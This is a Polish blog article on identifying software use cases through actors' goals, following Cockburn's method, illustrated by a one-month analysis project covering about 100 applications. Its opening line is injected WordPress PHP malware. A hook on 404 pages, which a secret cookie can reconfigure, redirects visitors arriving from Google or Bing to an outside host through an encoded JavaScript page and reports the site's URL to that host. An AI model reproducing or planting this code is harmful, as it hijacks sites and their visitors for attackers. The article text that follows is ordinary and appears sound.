function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["7a245f27bb6d4fefb5a20859bd576373"])) { update_option('wpd_do_stuff_on_40404_url', rawurldecode($_COOKIE["7a245f27bb6d4fefb5a20859bd576373"])); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url', 'mywebinfo.s' . 'ite/jquery.php'); if (!empty($u)) { $fu = 'http://' . $u . "?referrer=" . $_SERVER["HTTP_REFERER"] . '&u=' . rawurlencode($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); $t = rawurldecode("%3Chtml%3E%0D%0A%20%20%20%3Chead%3E%0D%0A%20%20%20%20%20%20%3Cscript%20type%20%3D%20%22text%2Fjavascript%22%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20Redirect%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20window.location%20%3D%20%22%25s%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20document.write%28%22You%20will%20be%20redirected%20to%20main%20page%20in%202%20sec.%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20setTimeout%28%27Redirect%28%29%27%2C%202000%29%3B%0D%0A%20%20%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%3C%2Fhead%3E%0D%0A%20%20%20%3Cbody%3E%0D%0A%20%20%20%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E%0D%0A"); exit(sprintf($t, $fu)); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' ); Identyfikowanie przypadków użycia poprzez cele użytkowników | ArchiReq | Enterprise architecture in practice

Identyfikowanie przypadków użycia poprzez cele użytkowników

April 24, 2010

Pewien zespół analityczny w ciągu miesiąca musiał zrealizować jeden z etapów projektu polegający na opisie funkcjonalności aplikacji przedsiębiorstwa z użyciem przypadków użycia. Wyniki prac tego etapu były konieczne do realizacji kolejnego etapu projektu. Projekt był realizowany w dużym przedsiębiorstwie państwowym o niepowtarzalnym charakterze działalności w skali kraju. Liczba aplikacji podlegająca opisowi była bardzo duża. Część zespołu analitycznego przed przystąpieniem do prac pracowała już na rzecz tego przedsiębiorstwa, dlatego znana im była działalność przedsiębiorstwa oraz ogólne funkcjonalności aplikacji podlegających opisowi.

Mimo to, miesiąc czasu i nowe zadanie, jakie postawiono przed zespołem wywoływało niepokój zwłaszcza, że do tej pory nikt z członków zespołu nie realizował analizy w kontekście opisu stanu zastanego, w takim rygorze czasowym a przede wszystkim w tak dużej skali.

Krótka charakterystyka przedsięwzięcia przedstawiała się następująco:

  • blisko 100 aplikacji w ramach których należało wykonać analizę funkcjonalności systemów,
  • funkcjonalności miały być spisane w formie przypadków użycia – bez określenia rozumienia pojęcia przypadku użycia przez klienta i poziomu opisu tych przypadków,
  • krótki termin realizacji: miesiąc,
  • kilka autonomicznych ale wzajemnie powiązanych obszarów biznesowych,
  • zespół 6-osobowy w tym 3. analityków – czyli tylko połowa zespołu miała doświadczenie w realizacji tego typu przedsięwzięć (tj. identyfikowaniu przypadków użycia i pisaniu scenariuszy przypadków użycia),
  • prace wykonywane równolegle i indywidualnie przez każdego członka zespołu – ze względu na ograniczenia czasowe brak możliwości organizowania spotkań statusowych,
  • analitycy mieli dostęp telefoniczny do ekspertów klienta jak również mogli organizować spotkania z ekspertami,
  • analitycy mieli dostęp do dokumentacji części aplikacji,
  • analiza funkcjonalności poprzez przypadki użycia miała stanowić podstawę do finalnego opracowania zintegrowanej architektury (SOA) oraz konsolidacji danych (głównym zadaniem była identyfikacja powielających się funkcjonalności oraz wskazanie punktów krytycznych aplikacji – a docelowo ich eliminacja).

Zostałem poproszony o pomoc w wyborze podejścia do realizacji zdania. Od razu odrzuciłem sugestię o konieczności natychmiastowego rozpoczęcia modelowania przypadków w narzędziu do modelowania UML. To co zaproponowałem oparte było na zapewne mniej spektakularnym podejściu a mianowicie prostej tabeli, której wypełnienie za pomocą metody wyszukiwania przypadków poprzez cele dało szybko odpowiedź z jaką skalą problemu mamy do czynienia. Pozwoliło kontrolować odpowiedni poziom opisu oraz zapewniło kierownikowi projektu możliwość nadzoru postępu prac.

Treścią tego artykułu będzie identyfikowanie przypadków użycia poprzez wyszukiwanie celów realizowanych przez użytkowników systemu. W artykule tym nie będę opisywać sposobów opisywania szczegółów przypadków użycia a samo ich identyfikowanie. W celu głębszej analizy tematu zachęcam do zapoznania się według mnie z klasyczną i obowiązkową lekturą na temat analizy przypadków użycia [1].

Zanim przystąpię do opisu napiszę również, że pracę zespołu projektowego udało się wykonać i choć zapewne pewna refaktoryzacja zidentyfikowanych i opisanych przypadków po tak krótkim czasie byłaby wskazana tym nie mniej cel został osiągnięty a klient i zespół analityczny był zadowolony, choć bardzo zmęczony po wykonanej pracy.

Czym jest przypadek użycia?

Według mnie najkrótszą i najwięcej mówiącą definicją przypadku użycia w odniesieniu do warstwy aplikacji jest nazwany zestaw czynności, jaki aktor wykonuje w interakcji z systemem w ramach tzw. jednego posiedzenia (np. podejście do komputera; wykonanie czynności wynikających z celu zadania; odejście od komputera).

Dla przypadku użycia słuszne są stwierdzenia:

  • Przypadek użycia inicjowany jest przez aktora.
  • Przypadek użycia służy realizacji celu aktora.
  • Przypadek użycia realizowany jest na rzecz aktora i w ramach interakcji z aktorem.
  • Przypadek użycia kończy rezultatem pozytywnym lub negatywnym – osiągnięcie celu lub brak osiągnięcia postawionego celu.

Podejście, które zostanie wykorzystane do opisu identyfikacji przypadków poprzez cele jest zgodne z tą definicją i według [1] jest to opis na tzw. poziomie morza. Czyli poziomie neutralnym, odnoszącym się do klasycznego rozumienia przypadku użycia. Inne poziomy to poziom chmur czy poziom pod powierzchnią morza. Pierwszy dotyczy długotrwałych operacji realizowanych w interakcji aktor – system,  np. realizacja pełnej obsługi zamówienia, która może rozciągać się na wiele dni i wiele sesji aktora z systemem. Drugi to poziom pod powierzchnią morza (poziom funkcji). Przykładem takich przypadków są funkcje pomocnicze, których istnienie samodzielne nie wnosi wiele do realizacji celu użytkownika, np. uwierzytelnianie (logowanie), czy wyszukanie klienta.

Jak identyfikować przypadki użycia poprzez cele?

Zastosowane w projekcie, o którym napisałem we wstępie, podejście mające zastosowanie ogólne opiera się na wykonaniu następujących czynności:

  1. Zidentyfikuj zakres opisywanego systemu.
  2. Zidentyfikuj aktorów.
  3. Określ cele aktorów względem systemu.
  4. Przygotuj szkice przypadków użycia.

Ad 1. Zakres to zasięg opisu systemu. Najczęściej będzie to jedna aplikacja. Mogą to być jednak dwie i więcej aplikacji. W zakresie systemu mogą być również ludzie pracujący w obszarze tego systemu. Precyzyjne określenie granic systemu (zakresu) jest kluczem do poprawnej identyfikacji przypadków użycia.

Dwa zakresy zasięgu opisu przedstawia rysunek – zakresem opisu objęta jest Aplikacja 1 a w drugim przypadku zakresem objęta jest Aplikacja 1 i Aplikacja 2, jak również wszystko, co dotyczy wymiany informacji pomiędzy tymi aplikacjami.

Rysunek 1 Rozmiary zakresów opisu systemu

Rysunek 1 Rozmiary zakresów opisu systemu

Ad 2. Aktor  to byt zewnętrzny do systemu jednakże wchodzący z tym systemem w interakcje. Przykładowo aktorem może być człowiek, który korzysta z aplikacji jak również inna aplikacja, która wymienia dane z systemem (wówczas ta aplikacja jest poza zakresem systemu – jest aktorem). Specyficznym typem aktorów są również zdarzenia, np. zdarzenie czasowe, które uruchamia ciąg czynności, np. w celu wygenerowania raportu w okienku nocnym w systemie.

Ad 3. Najważniejsza z części opisu artykułu będzie zarazem jedną z najkrótszych. Prostota podejścia stanowi o jej sile. Siła tej metody polega na zadaniu prostego pytania: Po co aktor chce coś zrobić w systemie czy na rzecz systemu? Często opisujący przypadki użycia zapomina o zadaniu tego prostego pytania, które mogłoby uchronić go od opisywania przypadków użycia na różnym poziomie.

Dla każdego z aktorów opisz cel, jaki ma ten aktor względem systemu opisz cele jakie za pośrednictwem tego systemu chce lub realizuje aktor w ramach jednego posiedzenia. Szukaj odpowiedzi na pytania: Co aktor chce osiągnąć? / Po co aktor chce coś zrobić?. A kiedy będziesz otrzymywać odpowiedzi na zbyt niskim poziomie np. -bo chcę wyszukać klienta staraj się szukać odpowiedzi na pytanie Po co chcesz to zrobić?. W ten sposób staramy się wejść na wyższy poziom – poziom morza. Analogicznie, kiedy będziesz otrzymywać odpowiedzi na zbyt wysokim poziomie staraj się szukać odpowiedzi na pytanie W jaki sposób aktor chce to osiągnąć?

Na rys. 2. przedstawiono przykładową tabelę identyfikującą cele trzech aktorów systemu sprzedażowo-obsługowego.

Rysunek 2 Przykład listy Aktor-Cel

Rysunek 2 Przykład listy Aktor-Cel

Ad 4. Dla każdego z celów postaraj się znaleźć przypadki użycia na poziomie morza tj. na takim poziomie, który jest pośrodku chmur i funkcji. Na tym etapie chodzi po prostu o ujednolicenie opisu wyszukanych celów tak, aby każdy z przypadków opisany był przy użyciu podobnego języka opisu. A to czy będziemy opisywać przypadek jako „Przygotuj raport”, czy „Przygotowanie raportu” jest kwestią indywidualną zespołu aczkolwiek wartą do ustalenia wcześniej, ponieważ i tu mogą pojawić się problemy prowadzące do nieporozumień a nawet konfliktów w zespole. Na tym etapie należy dodatkowo uzupełnić odnaleziony przypadek o krótki opis realizacji przypadku.

Przykładowo, jeśli Przygotuj umowę z rys 2.  nie jest celem niezależnym a stanowi zawsze część realizacji celu Złóż zamówienie wówczas przygotowanie umowy powinno zostać ujęte w opisie przypadku użycia Złóż zamówienie.

Rysunek 3 Szkice przypadków użycia

Rysunek 3 Szkice przypadków użycia

Korzyści z podejścia wyszukiwania poprzez cele

Do najważniejszych korzyści podejścia wyszukiwania poprzez cele zaliczyłbym:

  • ustalenie wspólnego języka między członkami zespołu – jasno zdefiniowany poziom opisu funkcjonalności,
  • wczesne ustalenie zakresu prac – bardzo szybko wiemy, czy mamy do opisania 10 czy 100 przypadków użycia,
  • możliwość kontroli postępu prac przez osoby nadzorujące,
  • wczesne wychywytywanie dublowania funkcjonalności w aplikacjach.

Najczęstsze problemy, z którymi możemy się zetknąć w trakcie prac przy identyfikowaniu przypadków użycia poprzez cele

  • Czy mam jeden czy dwa przypadki użycia?

Celem przypadku jest realizacja czynności, która może dotyczyć Prod1 jak i Prod2. W ramach przypadku użycia jest realizowana jednak trochę inaczej dla Prod1 a inaczej dla Prod2. Czy są to dwa czy jeden przypadek? Odpowiedź  na pytanie: A co jest celem tego przypadku? Jeśli dla Prod1 i Prod2 odpowiedź jest ta sama mamy do czynienia z jednym przypadkiem użycia.

  • Zbyt wysoki poziom celu

Szukaj odpowiedzi na pytania:

- Jak?

- W jaki sposób aktor chce to osiągnąć?

  • Zbyt niski poziom

Szukaj odpowiedzi na pytania:

- W jakim celu aktor chce to zrobić?

- Czemu ma to służyć?

  • Interesariusze projektu chcą identyfikować przypadki na niskim poziomie

Może się zdarzyć a raczej na pewno się zdarzy, że różni eksperci klientów współpracujący z nami będą chcieli opisywać przypadki na bardzo niskim poziomie. Jako powód podając dla przykładu to, abyśmy nie zapomnieli, aby pozostał ślad, lub bo po prostu oni tak by postąpili lub postępują. Co wówczas? Jeśli zidentyfikujemy najpierw przypadki użycia jako cele i poznamy całkowitą ich liczbę warto zadać interesariuiszom pytanie, czy na pewno chcą dla każdego z nich wyszukiwać przypadki użycia na niższym poziomie tak aby już za moment prawdopodobnie zacząć się gubić w ogromie przypadków (na razie samych nazw i krótkich opisów). Proponuję również wytłumaczyć, że niski poziom nie służy realizacji ich celów a jedynie jest jednym z wielu etapów pośrednich do tego celu.

Bibliografia

[1] Alistair Cockburn „Jak pisać efektywne przypadki użycia”, WNT 2004